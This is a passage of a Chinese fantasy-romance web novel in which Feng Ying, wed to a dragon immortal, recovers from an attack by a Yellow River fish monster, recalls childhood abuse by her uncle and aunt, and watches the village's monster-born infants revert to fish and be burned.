已经抹上了…… 我压下哭声,努力装作无事发生。 揉揉眼睛看向远方,只见杨道长和那位眼生的少年用绳索将大黑鱼拽上了河岸高处。 视线无意一瞥,恰巧看见风柔猫着腰抛下昏死的黑蛟自己先溜一步。 落水的村民们被黄河水浪又送回了岸边。 杨泽安望着突然出现的龙仙大人,啪一声给了自己一巴掌。 “村长,我好像看见龙了……” 江村长:“我也看见了。” 杨泽安:“幻觉,一定是幻觉!早上起猛了,看见真龙现世打鱼怪了。” 我伏在龙仙大人肩头呆呆望着拖鱼怪渐行渐近的两人,那两道身影在视线中愈发模糊,没多久,我就眼皮沉重地瘫倒在龙仙大人怀里了。 “风萦……”龙仙大人双手抱住我,片刻,将我打横抱了起来。 男人们的声音在耳边轻慢响起—— “原来根本没有什么黄河收宫女,都是这条鱼怪惹的祸!” “鱼怪快要成气候了,只要再吃一二十名未婚少女就能呼风唤雨为祸一方,还好,大家没有真把女孩们送给它。” “阿乞小师叔,你看怎么处理这鱼怪的尸体比较好?” “挖个坑贴上黄符埋了吧!” “这位是……” “哇,龙哥你出来了!” “你认识本王?不对,你是佛家的。” “啊,什么佛家的?我师承五阳观,师祖是紫阳真人…… 嘿嘿,我认识龙哥你的故人,来之前那位故人再三叮嘱,让我过来以后听你的话。” “本王,何来故人,本王自己怎么不知道。” “哎,就知道你不信,他给了我信物,呐,就是这片柳树叶。 他说你当年欠他一个人情,现在你替他养我,就当是还他人情了!” “是他……你、都这么大了,还需要本王养?!” “嘿嘿,要的要的!” “你,是他什么人?” “他在凡间收的小弟!” “……” —— 昏死过去后,我一直在做噩梦。 梦里一会是大伯大娘面目狰狞的拿着剪刀剜我身上肉。 一会是我被城里过来的大老板两眼放光的搂在怀里。 一会是爸爸被人从黄河里捞出来的浮肿模样。 一会是妈妈在雨地里挨大伯大娘的打。 “小萦,你想不想吃肉?想吃肉,就听话。” “贱婆娘,就是你克死了我家老二!我家老二刚死你就发骚,和那个姓张的眉来眼去!” “贱蹄子,和你妈一样犯贱,好好说话你不听,非要我们对你用强,你才肯老实听话!趴下!敢动我就把刀插你身体里!” 梦里我被大娘按在长凳上,一刀剜下一块金光晃晃的肉。 大伯大娘看着那块肉,欣喜瞪大双眼,眼珠子都快从眼眶里凸出来了—— “有钱了,哈哈,咱家有钱了!” “我就说嘛,黄河不给咱们送东西,咱们这还有现成的摇钱树!” “啧,就剩下几片龙鳞了,剜完了怎么办?” “剜完了再说呗,都说这死丫头是黄河龙女转世,我还以为她全身都是龙鳞呢,没想到就只有这九片!” “嗯,当家的你说得对!珍惜当下,先把她身上这些龙鳞剥完再说!” 忽有一天,城里有钱的大老板开着豪车找到了大伯家。 拎了一箱金条,直言要买龙女一片鳞。 大伯看着桌上那一保险箱的金条,开心的差点厥过去。 大娘殷勤地给大老板泡了杯当年的新茶雨前龙井,先夸胖成肥猪的大老板仪表堂堂气质不凡,又夸大老板眼光好衣品好,给大老板夸得笑逐颜开恨不得当场和大娘结拜为异姓兄妹。 大伯大娘把大老板哄好了,大老板在交易前又提出了个要求:想亲眼看看传闻中的龙女长什么样。 大伯大娘一门心思都在如何将金条完全占为己有上,彼时二话没说就把我从屋里拽了出来,推进了大老板怀里…… 我永远也忘不掉大老板初见我时眼里的惊喜与贪婪,忘不了大老板死死把我困在怀里,用满是烟味的口气恶俗地吹我脖子。 忘不掉,大老板当着大伯大娘的面,解开我的两颗扣子,扒开我肩膀的衣物,不顾我的激烈反抗要看我肩后的龙鳞—— “这死丫头平时被我们惯坏了,脾气臭,老板您想看就随便看,看多久都没有关系。您要是觉得不方便……风萦,把你的上衣脱了!” “风萦你个死丫头没听见我说的话吗!让你把衣裳脱了,给老板仔细看看货!” “风萦!你是不是皮又痒了!” 我没听大伯大娘的话,为了挣脱魔爪,拿起桌上滚烫的茶水泼了大老板一脸,把大老板烫得哇哇叫。 虽然,这笔生意最终还是做成了。 大伯大娘也如愿得到了那一箱子金条。 可大伯还是怒不可遏的拎着我耳朵把我拽去了他家老宅,锁进了他破旧老宅厨房里的一个木箱子内…… 锁了三天。 她们说要给我点教训尝尝,就把我锁在狭小的木箱子里饿了三天三夜。 我一个人在箱子里疯狂拍打箱盖呼救,但哪怕喊破嗓子,也没有人来救我…… 更让我绝望的是,老宅里不但有老鼠,还有蝎子。 老鼠与蝎子从木板缝里挤进来,啃我脚指头,咬我身上肉…… 那三天是我这一生最绝望黑暗的时光,是他们让我体验了叫天天不灵叫地地不应,只能窝在一个狭小空间里绝望等死的滋味。 哪怕时隔十来年,现在梦见,我还是会被吓到失智发疯。 “别咬我,我啃我脚趾头!” “大娘我错了,我再也不敢了,放我出去……” “救我,救我……我不想死!” 我在梦里哭得喘不上气,而在另一个世界里,有人却心疼握住了我的手。 “这对畜生,竟然这么对你!” 伸手给我擦去脸上泪,男人放低声,耐心安抚:“好了,都是梦,都过去了。” 尔后又有道怪异的稚嫩嗓音调皮响起: “大王,你已经守了娘娘整整一夜,快五个时辰了! 给娘娘擦了三次眼泪,哄了娘娘六次,还把自己所剩不多的真元渡给了娘娘…… 大王,你不会坠入爱河了吧!” 握着我的男人指尖一颤,当即沉声否认:“怎么可能!本王、绝不可能再爱上她!” “可是大王,昨天你一感应到娘娘有危险,可是冒着走火入魔的风险以最快速度赶回了槐荫村,还顺手打死了那只装神弄鬼吓唬人的鱼怪。 你看见娘娘哭着朝你走来,可是用跑的去迎向她!用跑的! 瞧见娘娘受伤,你更是心疼地搂着娘娘久久不撒手。 大王,你该不会是对娘娘余情未了吧!” “你懂什么,本王、那是演戏!本王对她恨之入骨,怎会真正在意她的生死……” 第一卷 第23章 能不能把你的仙家送给我 “呃大王,你的手……这就是大王你说的……复仇大计?” 握在我手背上的那只温暖手掌猛地松开,男人语气略显局促:“闭嘴!” “……哦~我明白了,大王英明啊!大王为了复仇真是忍辱负重,竟不惜牺牲美色诱惑敌人,真乃是我辈楷模!” “滚出去!” “哎呀!大王你又朝我扔杯子……” —— 迷迷糊糊从噩梦中清醒过来时,已经是傍晚五点了。 睁开眼,我全身酸痛的想从床上爬起来,却无意发现臂上的那个黑龙图案又出现了! 我不可思议地举起胳膊,用手搓搓,没搓掉。 这个纹身这么任性的吗?想出现就出现,不想出现就不出现。 真是和它主人一样有个性。 我头重脚轻地掀开被子下床,穿好鞋子,走到老旧的梳妆镜前。 对着镜子照了照脖子,还好,之前那道狰狞伤口已经消失了。 不过,我是被龙仙大人救了,那流苏呢? 也不知道杨泽安他们有没有把流苏一起捞回来…… 我赶忙打开房门,一进堂屋就看见杨道长和村长此时正站在我家供养的那几副牌位前上香,顺带收拾桌面上落出来的香灰。 听见我出门的动静,江叔扭头看我,松口气立刻招呼我到旁边坐下: “醒了?快去边上坐着,你这次失血过多可得好好补补才行,我让你婶子抓了两只老母鸡过来,就放厨房南头的鸡笼里关着。 你什么时候想吃再自己杀,不急着吃就留在家里下蛋,反正怎么方便怎么来!” 我点点头,感激道:“谢谢江叔,又让你跟着操心了。” 江叔双手背后长长叹口气:“这次也是我们让你受委屈了,还好你没事,不然我怎么和你死去的亲爹交代啊!” 杨道长上完香,甩开拂尘搭回臂弯处,沉声问我:“村里发生这么大的事,你母亲去哪了?” 我摇摇脑袋也一头雾水:“不知道,二月二那晚后,我就没有再见到我妈了,给我妈发消息我妈也没回。” 江叔已经习惯了我妈常年放养我,且神出鬼没的状态,无奈感慨道: “自从小萦爹出事后,月隐妹子受了太大刺激人也性情大变,越发孤僻。 小萦你别怪你母亲,你母亲只是还没从你父亲出事的阴影里走出来,她还是爱你的。 你小时候,你爸妈对你可是宠爱至极,你还不会说话那几个月,你妈抱着你出去串门子,逢人就炫耀自己生了个胖嘟嘟的可爱小闺女。 她不是不在意你的生死,她是有心结。” 我明白颔首:“江叔,你不用担心我会不会瞎想,我能理解我妈。” 我妈如果真的不爱我,就不会在我走投无路的那晚来帮我另辟生路了。 “对了,流苏呢!杨大哥你们把流苏带回来了吗?”我急着问杨道长。 年轻的杨道长稳重道: “她一切都好,昨晚就已经醒了,除了有点感冒别的没什么问题。 这会子跟泽安小师叔他们去邻居们家里办事了,估摸等会儿就回来了。” 我放心地松口气。 江叔掸了掸袖子上的浮灰招呼道: “好了,小萦醒了我也就不愁了,天快黑了我得早点回家做晚饭,不然你婶子一个人在家害怕,我就不陪你们兄妹俩了,先走一步。” “江叔我送你。”我起身要跟着他一起出门,但被江叔反手又按回了座位上:“你歇着就行,不用这么客气,你杨大哥肯定还有话要和你说,我有空再来看你!” 江叔向来好说话还心善,他不许我送,我也没有再坚持,就礼貌地目送他离开我家。 杨大哥等村长走后,才在我身边位置坐下,余光扫了眼桌上供着的九副牌位,面色凝重地问:“我不在这段时间,到底发生了什么事?那条黑蛟是什么情况?” 我心累摊手:“如你所见,他和风柔跑了。” 杨大哥顿时八卦心上头,倒吸一口冷气,感兴趣地追问: “他不肯娶你?那你怎么嫁给那位龙王大人了?” 我颓废的单手托腮:“几天前村里从黄河中捞出了一具漂亮的女尸,和女尸睡过的男人回家后老婆肚子都大了。” 杨大哥不见外地给自己倒了杯茶,听得津津有味:“这个我知道。” 我接着说: “然后女尸就说,她赐了村里人十五个男婴,就要收走村里所有未婚女孩,带她们下黄河做玉女,村里人一听这消息就急了,纷纷要把自家闺女嫁出去。 这不,风柔也是未婚女孩,江墨川那个白眼狼说风柔害怕,他不能让风柔死,所以就要先娶风柔,再娶我。” 杨大哥一口茶险些呛喷出来, “什么?先娶风柔再娶你?他想娶两个! 好啊,他竟敢做光明正大脚踏两条船的美梦,他怎么这么敢想!” 我提起茶壶也给自己倒了杯: “他白天娶了风柔,说是晚上来娶我给我续命,但是我用脚趾头都能想到这白眼狼肯定会把我当猴耍,放我鸽子。 所以自从他说他要娶风柔,我就没再将指望放他身上。 二月二那天我以为我肯定必死无疑了,谁知道我妈还是给我送来了嫁衣。 当晚又恰巧从黄河里冲上来了一副血玉棺,我妈就把我拉过去,让我找棺里的仙家借寿了。” 杨大哥震惊道:“那位龙王大人肯、借寿给你?” 我闻言老脸一红,不好意思道:“肯啊,他、人很好。虽然有时候会有点凶……但是很大度!” 何况,我也是从棺中出来后才想起,我和他二月二那晚已经不是第一次了。 他半个月前就是我梦里的男主角来着…… 杨大哥认真思考了几分钟,说: “他的确和普通仙家不同,据我所知,他应该是位有品阶的龙王,至于为什么会被封在血玉棺里,很有可能是从前犯了什么错。 他一身仙气,来头不小,我那位小师叔都对他毕恭毕敬,可见他不是坏仙,还不好惹。 你母亲给你挑的这桩婚事,的确比你自己挑的那桩合适多了!” 我抿了口茶,点头。 杨大哥把拂尘放在桌子上,打趣道:“你是不是养仙家养多了,养习惯了,身边跟了个龙王爷还能像个没事人似的。你就不怕他一口吞了你?” 我正儿八经说: “一开始也害怕,但是现在想想,他如果想杀我之前就不会救我。 而且他除了脾气有点差,像个炮仗一样,一点就着,别的方面挺好的。 他是我的救命恩人,我供养他一辈子都是应该的。” “你能这样想,很好。” 杨大哥瞄了眼桌子上江墨川的牌位,嫌弃道: “我之前就看这条黑蛟不顺眼,要不是看在你的面子上,我早就把他驯老实了! 可惜了,白把他放出来了,现在他已经成了气候,可以完全脱离牌位的约束了,想再将他收回来,难了。” 正说着话,杨泽安和流苏还有昨天在黄河边看见的那位陌生少年一道推开院门走了进来。 看见我已经完好无损地和杨大哥坐在一块喝茶了,流苏连忙一路小跑进堂屋找我: “二姐!你终于醒了,吓死我了!还好你没事,不然我、我该怎么办哇!” 小流苏拉着我的手瘪嘴又要哭,我见状迅速捂住她的小嘴巴打断她酝酿哭意: “苏苏冷静!我没事,呐你看,脖子上的伤口都愈合了!” 可不能再让小祖宗哭了,这小祖宗的眼泪简直说来就来,嚎两声就能用泪水把我淹了! 我昂头把脖子送给她看,她小心翼翼地伸手,怯怯用指腹摸摸我昨天被划开的地方…… 猝不及防的再次哇一声哭出来,打我一个措手不及。 “二姐,我昨天都看见了,他们把你绑在树上,你脖子上全是血,皮开肉绽的! 我好心疼好害怕!可我没有能力保护二姐,二姐,我是不是很没用!” 我:“……” 哄人啊,我不擅长啊! 她突然哭得这么卖力,我一时都不知道该怎么做才好,只能手忙脚乱掏口袋找纸巾: “你别哭了苏苏,你才不是没用呢!你乖点啊,别怕……我纸呢!” 最后还是扛着锄头的杨泽安无言以对地从自己口袋里摸出一包纸巾递给我,拿流苏没法子的说: “你这个妹妹就是个小哭包,昨天她晕倒后醒了一次,结果正看见你满身是血靠在树上双眼无光,一副要死了的样子,又给吓晕了过去! 她醒过来后,从昨天到今天都问了八百遍二姐什么时候能醒过来了。” 我抽出纸巾给流苏擦眼泪,“她胆小嘛,我要是没醒过来,昨天就是她第一次看见死人……” “呸呸呸,不说这些不吉利的话!” 杨泽安把锄头从肩上拿下来,朝杨道长抱怨道: “哥,你让我们刨的坑烧的符我们已经干完了,到底有什么用啊?为什么要在村子四个方向烧那玩意?鱼怪不是已经死了吗?” 杨道长倒了杯新茶给面生的少年恭敬送过去: “晚上你就知道了。小师叔,出去跑了一圈累了吧,快坐下歇歇,喝口茶!” 少年接过茶杯,顺势在我身边坐下,自来熟地找我说话: “哇,二姐你家供这么多牌位,晚上睡得着吗?午夜梦回会不会觉得脊背发凉? 家里阴气这么重,还好你体内的灵气能扛得住!” 我不好意思笑笑:“习惯了就好,而且我家供着的这些仙家都很安静听话的,夜里一点也不吵人。” 少年的目光在条案下层一排牌位上梭巡一遍,摸着下巴问我: “二姐你现在已经不需要他们了,干嘛还要白养着他们,不如你把他们送我,我将他们养成兵马!” 少年话音刚落,条案上的几副牌位就抗议着叮咣一声,牌位内的仙家们用着我听不懂的言语叽叽喳喳焦急地向我表达不满。 我果断拒绝: “还是算了,他们都是些命薄的仙家,生前也没做过恶,每个月只需要我几滴血而已,我养得起。 我了解他们,他们生性喜好自由,把他们炼成兵马,他们未必服管教,还是我养着吧,虽说现在用不上他们,可至少能留在家里和我做个伴。 我,太孤独了。没有他们的那些年,我感觉自己的语言功能都要退化了。” 自从十一岁那年被大伯大娘像丢垃圾一样扔回来,除了村长和杨大哥杨泽安兄弟俩,村里没人会踏进我家家门。 我重病卧床那两年,杨泽安要上学,杨大哥虽隔三差五来看望我,可更多时候,我都只能一个人盯着墙上的钟摆发呆。 十三岁那年我病稍好些,江叔和杨大哥凑钱送我去上了小学。 由于年龄问题,我只能直接从六年级上起。 好在我爸还活着的时候教过我读书写字,因此语文勉强跟得上,数学只能做个普通应用题。 小升初考试意料之中的没考好,只能上个乡里给钱就能进的民办中学。 在学校我也和同学们相处得不是很好,她们都嫌我性子孤僻,穿衣老土,学习还差…… 背地里骂我是黄河边上的泥娃,说我身上有尸臭味。 乡里的中学是没有早晚自习的,白天我在学校听天书,晚上只能望着窗外的月光发呆。 这种孤独的日子,一直持续到我妈回来—— 我妈把九副牌位摆进堂屋的那晚,我心底最强烈的感觉不是害怕,而是终于有人陪我说话了。 哪怕,他们不是人。 他们来家里的第一年,可能是求生欲驱使吧,对我并不像现在这样疏离。 我不会算函数,胡玉衡会飘在我身后敲我脑袋。 我背不出政治题答案,黄大仙把我桌子拍得啪啪响。 我月考历史大题考个零蛋,鬼仙沈沐风摇着折扇在我身后叹着气,背了一夜的亡国诗。 虽然他们现在嫌弃我,可四年前的他们,对我而言的确曾是透进黑暗裂缝的一抹和煦阳光…… 杨泽安撸起袖子摆手道: “哎呀小师叔你就别打萦萦这几位仙家的主意了! 她可是一直把家里这几副牌位当成宝,五年前黄仙历劫差点被雷劈死,她半夜三更冒着暴雨跳进黄河里找什么能救黄仙的灵草。 四年前鬼仙魂魄要散,她跑去我家哭着求我哥给她阴沉木,我哥不给,她就拿自己的血换。 还有狐仙,他新长出来的那条尾巴是萦萦替他扛了两道天雷才得来的。 虎仙的眼珠子是萦萦用虎睛石磨的,蛇仙的蛇骨是她跑蛇仙老家乱葬岗挖了一个星期才挖出来的。 蟒仙的蟒胆是她从蛇肉铺子里偷出来的,还差点被那黑心老板剁碎了做成肉包子。 鱼仙的鱼鳞更是她割了自己的肉,贴在了鱼仙身上化成的。 白仙那条瘸腿也是她到处采草药治好的,就算这些仙家叛逆,可他们还是萦萦的宝贝疙瘩。 我哥都找萦萦要好几回了,一次都没……” 奈何杨泽安的话还没说完,桌上供奉的仙家们就时隔四年,再次齐齐化出原形从牌位里飘了出来—— 黄仙颜如玉磨指甲的动作一僵,手里指甲锉哐当一声掉在了供桌上。 下一秒,屋里爆发出一阵不同物种的激动狂叫—— “阴沉木是你拿血换给我的?!” “我的眼睛,是你给的!” “我的小胆儿不是风柔给我买回来的?!” “我身上贴的是你的肉?” “腿、腿是你治好的?” “蛇骨是你从乱葬岗挖的?怪不得我问那条死蛟风柔是从什么地方找回我蛇骨的,他答不上来!” “连我这条尾巴都是拜你所赐?啊——” “别啊了我一直以为那黄河灵草是江墨川给我拔的,我还在想江墨川这鳖孙子什么时候懂事了学会孝敬爷爷了!” 第一卷 第24章 男婴变成了大黑鱼 我愣在原地,半晌才反应过来他们在说什么。 而杨道长的那位小师叔则盯着青天白日就坏规矩冒出来的仙家们馋到嘴角流口水:“嘿嘿,兵马,好东西!” 原来,这些年江墨川一直把功劳都记在了自己和风柔头上。 怪不得我每次遍体鳞伤地回来,他们非但不感激我,还会冲我翻白眼。 最近两年他们更是有了和江墨川一样的想法——觉得我不如风柔。 他们明知道我最怕孤独,却除了胡玉衡,都能忍得住三年不和我说话。 真相揭穿,我却一点也感觉不到开心。 明明我什么都没做错,可最后却落得个众叛亲离的下场。 以前每次帮这些仙家渡劫,江墨川都会选择跟在我身边,陪我一起出门找解决方法。 我那时候还天真地以为他是在担心我,想跟着我保护我。 拿到东西后,他也会告诉我,让我先把东西交给他,他是仙家,可以飞,可以快点把东西送回去,解仙家们的燃眉之急。 我根本没有怀疑过他,只想着能尽快保住这些仙家的命就好。 后来我每次和江墨川抱怨仙家们总是对我翻白眼,江墨川也只会告诉我,是他们怨恨我选了江墨川,所以才不搭理我。 江墨川还说,仙家们之所以能落到我手里,就是为了赌一线生机。 他们先前对我好,只是有利可图,才愿意配合我演戏。 现在这条路堵死了,他们自然不用再装了。 江墨川说,仙家们嫌我笨,说我背古文背得像狗吃屎。 嫌我丑,说我还没有风柔三分之一好看。 嫌我性子不好,觉得多和我说一句话就令他们恶心。 就是因为这些话听多了,才让我后来越发自卑。 越发拼了命的对江墨川好。 毕竟,我身边只有他了。 可现在我才惊觉,原来他那么早就开始算计我了。 杨泽安看我情绪不大对,挠挠头转移话题: “哦对了萦萦,给你介绍一下,这是阿乞小师叔,也是道门中人,从阴苗族来的,还会用蛊呢! 我哥的师父是他的分支师兄,他这次来槐荫村是找人的,应该要在槐荫村多住上一段时间。” 我回过神,点头:“阿乞师叔,你好,初次见面还请多多指教。” 少年抬袖擦了擦嘴角口水,眼馋地扭头瘪嘴和我商量:“二姐,真不能把他们送给我吗?送我一半也好啊!” 我:“……” 供桌上的仙家们闻言一时又慌了起来,开始陷入狂卖队友的大战—— “别要我,我睡觉磨牙打呼噜放屁!” “我也不行,我口臭还爱窜稀!” “我、我有病啊,我脑子有毛病,我会突然发疯六亲不认地咬人…… 把老蟒带过去,老蟒情绪稳定还道行高,炼成兵马肯定贼好用!” “该死的刺猬!我是你爹!不行,不能选我……我是菜蟒!” “你不觉得……菜蟒是个优点吗?能干活就当兵马,不能干活还能做盘下酒菜。” “老长虫,我泰山无影尾缠死你!” “把胡玉衡带走,咱们之间就胡玉衡一个是真仙! 就是死得有点早,不过没关系,炼炼还能用!” “啊?你们这就把我卖了?亏我平时还待你们如手足。” “没关系,我是蛇,不需要手足也能活。” “那也不成,我、有狐臭!” 胡玉衡不要脸举起胳膊疯狂扇咯吱窝,试图用生化武器击退阿乞: “而且,我已经被龙尊大人收编了,我是龙尊大人的小跟班,你不能选我。” 一句话提醒了剩下的仙家们,一众仙家纷纷点头附和:“对对对,我们也是!” “我们都是龙尊大人的小弟,一日为弟,终生为弟!” “除非你把龙尊大人也带走,不然我们也不走!我们誓死效忠龙尊大人!” 蟒仙说得太像回事,连旁边的鬼仙沈沐风都听不下去了,踹了蟒仙一脚后无奈道:“万一等会他真把龙尊大人给收走了怎么办?” 蟒仙凑到沈沐风耳边胸有成竹道:“放心老弟,他不敢。我昨天都听见了,这小家伙叫龙尊大人龙哥!” 沈沐风豁然开朗,当即一展手中桃花折扇,眯着一双风情万种丝毫不输胡玉衡这只狐妖的勾人桃花眼,臭不要脸的骚里骚气拽文道: “是呢,吾仰慕龙尊已久,愿终生追随龙尊大人,吾对龙尊大人忠心一片,自见龙尊大人第一眼,便决心——此生,唯将龙尊大人一仙放在心中,决不侍二主! 来吧,残忍的掠夺者,抢走我你只会得到我的肉体,却得不到我的灵魂……我的魂,我的心,将永远属于我的白月光,我的、龙尊大人!” 白月光?! 龙仙大人要是在现场得被他们恶心吐吧。 最终他们还是凭借着自己的人格魅力成功让阿乞打消了收他们做兵马的念头。 阿乞受不了地站起身扶着杨泽安肩膀干哕,受不了地摆手。 “不要了不要了,真下头,二姐你家的仙家……太自恋了!还爱放臭屁! 不行了我受不了了,这兵马我不要了,对仙家祛魅了!” 阿乞师叔他们受不了屋里又是屁味又是狐臭味,果断选择结伴先溜一步。 小哭包流苏也忍不住捂着鼻子把我先扯出去换口气。 等风把鼻尖的怪味冲淡后,才拉着我的手不放心问我:“二姐,你这些年是不是受了很多委屈?” 我保持冷静的抿唇笑笑,摇头:“没有。” 小哭包瘪嘴往我怀里一倒,抱住我自责道:“都怪我,没能保护好二姐。” 我拍拍她的后背,眨了眨酸涩的眼睛无奈说:“人各有命,和你无关,苏苏,咱们从今以后都好好的,就够了。” “嗯。” 晚上八点,我和流苏窝在另一间房里看电视,忽然听见村子里的狗狂叫了起来。 不久就是村民们在外吵闹的声音,还有人崩溃大哭。 我与流苏好奇打开院门,才发现村子里家家户户都亮起了灯。 小路边上,村里的中年人们凑在一起议论纷纷,远远只听他们好像提到了什么孩子、黑鱼、怪物等字眼。 半分钟后,大伯家也闹了起来。 大娘尖叫着从院子里跑出来,哭哭啼啼地吆喝着: “见鬼喽,出事喽!鱼,那孩子变成了一条十来斤重的大黑鱼!我可怜的耀祖啊!我的儿啊——” 大伯手里夹着烟,紧跟其后出门。 他们在我家西头哭喊嚷嚷,我这才听清村里今晚发生之事的来龙去脉。 原来黄河女尸当初赐给槐荫村的十五名男童今晚全都变成了一条半死不活还黏糊糊的大黑鱼! “我家老幺今晚上正喝着羊奶,突然就变成了那怪物,嘴里还一个劲吐泡泡,浑身腥死了!” “我家那个也是,身上还有白斑,看着吓死人了。” “哎呦本想着这辈子终于能有个儿子傍身了,没想到到头来,竟是竹篮打水一场空!” “早知道,我就把我家老大送给黄河了!拿闺女换儿子,这桩买卖多划算! 都怪他爹,非要保下闺女!一个丫头片子能有什么用,儿子才是养老送终的倚靠啊!” 村里的女人们哭骂着,大娘也跟着抹眼泪一口赞同: “就是!要闺女有什么用,早知道我那个大胖小子会变成大黑鱼,我宁愿把家里的死丫头送黄河里去!” 她说这话时风柔正好出门走到了她身边,满脸委屈地刚想开口安慰她,谁知一声“妈”喊出来,换来的却是大娘照着她胳膊狠狠拧了下。 “你个死丫头骗子,都是你克死了你弟弟!” 风柔霎时委屈的红了眼:“妈,你怎么能这么说呢……墨川都说了,耀祖本来就是一条鱼。” 可惜大娘一贯秉承着错的都是别人,绝不可能是自己的原则,根本不听风柔解释,撒气般又往风柔胳膊上掐了两下: “死丫头!你才是鱼呢!别以为我不知道你看耀祖不顺眼,你今天故意用热奶呛耀祖我可都看见了!” “妈,我没有,你冤枉我……”风柔哭唧唧地捂着胳膊装可怜。 村里有人听不下去了,好心拉开大娘帮风柔说话: “好了大年媳妇,发生这种事咱们一时半会都难接受,你就别往孩子身上发火了!” 直到杨大哥带着杨泽安过去查看情况,才说明原委: “那个女尸本就是黄河下的黑鱼怪变成的,赐给你们的孩子也根本不是人。 不管你们有没有把年轻女孩送给她,你们的儿子都会在今晚变成一条黑鱼。 因为你们怀的不是人胎,是鱼怪留在村里男人体内的鱼胎。 那些黑鱼只是借你们的肚子出生,生下来是正常孩童模样,也是鱼怪留下的障眼法。” 村里的女人们听完,反而哭得更大声了。 拥有后又失去,的确让人难以接受。 杨大哥张罗着让村民们尽早把村里的黑鱼都给丢进火里烧了。 白天让杨泽安和流苏他们挖的坑烧的符也是用来应对晚上这一茬的。 幸好杨大哥提早做了准备,在槐荫村布阵压制了那些黑鱼的妖力,这才令那些男婴们现出原形时都处于半死不活的状态。 不然黑鱼现出原形后肯定会一口把所谓的父母都给吞了。 村长江叔让人在黄河边上挖了个两米深,四米长三米宽的土坑,往里面填了柴火,浇了火油。 烈焰燃起后,村里人依依不舍地将一条条大黑鱼丢进了火坑。 黑鱼燃烧时,整个村子都弥漫着一股刺鼻的腥臭。 不过十来条大黑鱼,却足足烧了两个半小时才烧完。 午夜时分,黄河边火势熄灭,村长带着几位五十多岁的大叔把泥土回填进土坑里,掩埋了黑鱼的残骸。 杨大哥蹲在黄河岸上烧金元宝,说是要和黄河龙王通个气,告知黄河龙王槐荫村并非无故斩杀河中鱼怪。 实乃鱼怪作乱,危害凡界,这才不得不动手铲除妖孽及其子嗣。 我也蹲在杨大哥身边,看着被火舌迅速吞噬的一抹抹金色,好奇问: “杨大哥,黄河里,真有龙宫,有黄河龙王吗?” 第一卷 第25章 姐夫是条紫色的龙 杨大哥点点头,漆黑的眸底映着跳跃的火色: “天底下所有知名的山川河流都是有神主的,山有山神,水有水神。 山神多为深山动植物化形而成,水神,还分水上与水下,水上有镇海神,镇河神,水下则是各位龙王爷与河伯。 普通的小河流,无龙之水,龟蛇称主,古称河伯、湖君。 像东西南北四海,还有黄河这种大海大河,河底必须要有龙王镇守的。 不然河海中妖物太多,极容易生乱祸害周边百姓。 黄河龙王很有名的,黄河一带,沿河村落的所有村民都很尊重他。 千年前的某个朝代,夏季雨多,黄河水常泛滥决堤,官府派人来抢险救灾,但由于黄河咆哮得太厉害,人力根本无法抗衡,不少官兵与百姓都被吞进了黄河里。 就在所有人都绝望等死时,是黄河龙王用自己的龙身将那些无辜坠海的官兵百姓给驮了上来。 这些事,黄河附近村庄的村志县志都是有明确记载的。 这些年黄河没出什么大乱子,黄河龙王就渐渐被人们淡忘了。 但再怎么说,他都是黄河之主,我们斩杀河里这些成了气候上了年纪的妖怪,为表尊重,都要和他说一声。” 我哦了声,流苏在旁边轻轻问:“那黄河龙王,长什么样?” 杨大哥抬头看了眼水波粼粼的河面, “没有人见过黄河龙王长什么样,留下来的记载中,只提及他是一条百米长的大黑龙。 这些上古龙王的本相怎会轻易示人。” “大黑龙?姐夫也是龙哎。”流苏闷声呢喃。 我顺口回了句:“你姐夫是紫色的。” 杨大哥怔了下,流苏也诧异抬头看我。 我过了几秒才反应过来这声姐夫承认的也忒爽快了点,忙不好意思地改正: “我的意思是,我家这位龙仙是条紫龙……苏苏你以后、还是称他龙仙大人吧,喊姐夫、有点怪怪的。” 毕竟我们俩,也不算真正的两口子。 流苏缩在我身畔双臂环住自己小声犟道:“我觉得挺顺溜的,而且龙王大人都和二姐结婚了,不叫姐夫叫什么……” 我噎住,一时无言以对。 拍拍手想站起来,余光却无意瞥见黄河水面上,好像掠过了一条身上发碧光的巨物…… 像条大蛇! 那巨物一晃眼就消失无踪了,我再仔细往水面上看,只见到一片黄浊在河面洇开。 黄河底下成了精开了智的灵物太多,估计是今晚岸边发生的事把河里的巨蛇吸引上来凑热闹了。 凌晨一点,杨大哥带上我们收工回家。 我和流苏刚拎上工具站起身,不知为何,肩上突然传来一阵剧痛…… 这痛感我再熟悉不过,是鳞片被剥离身体的那种痛! 可以往,这伤不是在每月十五才发作吗…… 这次怎么提前那么多天? 而且,以前发作是整个背都在痛,这次发作,却只有肩膀那一小块地方痛。 到底是哪里出差错了? 我咬唇忍着身上的不适,加快脚下步伐只想快点回家。 但与阿乞师叔和杨泽安会合时,还是被杨泽安看出了不对劲。 “刘叔说他这几天都快被黄河里的鱼搞出心理阴影了,刚才我在黄河岸边捞了条正常大白鱼上来,本来想送给他的。 结果他一见鱼就嘴唇哆嗦老脸发白,心脏病都差点吓出来了…… 小萦你怎么不说话?被吓懵了?嗳等等,你肩上怎么有血!” 他一句话把身边所有人的目光都瞬间引了过来,流苏往我肩头扫了眼,吓得一僵:“真有血……二姐你怎么了!” 我强壮淡定地矢口否认:“不是我的血,可能是刚才在哪里蹭到了脏东西。” 杨大哥迈过来要帮我查看伤势:“你先别动,我瞧瞧。” 我不好意思地侧身躲开:“真没事,咱们快回家吧,我换件衣服就成了。” “还没事呢!头上都冒冷汗了!” 杨泽安没良心地一把抓住我胳膊,伸手扯我肩上衣服: “你听话,给我们看看,到底是哪里伤了怎么伤的! 大家从小一起长大,我光屁股的样子你都看过呢,有啥不好意思的!” 流苏闻言,顿时朝杨泽安投去了嫌弃的目光。 我抽了抽嘴角,赶忙拽紧领口自证清白反驳道:“我没有,你别胡说!” 我认识他的时候他都会跑会跳,会下水捞鱼了! 我怎么可能见过他……那时期的样子! 幸好,他扯我衣服的魔爪被人及时控制了住。 “疼疼疼,轻点……”杨泽安突然在我身后吃痛尖叫了起来,我好奇扭头,才看见是龙仙一袭紫袍出现在了清冷夜幕里。 龙仙一脸不悦的霸气甩开杨泽安胳膊,冷声警告:“再乱碰本王的人,爪子给你剁了!” 杨泽安甩着手腕子痛得差点跳起来。 而流苏见到龙仙却欣喜的瞬间双眼一亮,殷勤喊道:“姐夫!” 龙仙大人没搭理旁人,只抓住我的手,拂袖一道法力就带我瞬移回了自己家。 把我送回自己房间里,龙仙大人沉声吩咐:“趴床上,把衣服脱了。” 我一愣:“啊?” 他深眸微凉,冷漠道:“啊什么,小命不想要了?” 小命…… 我心头一惊,立马解扣子照做。 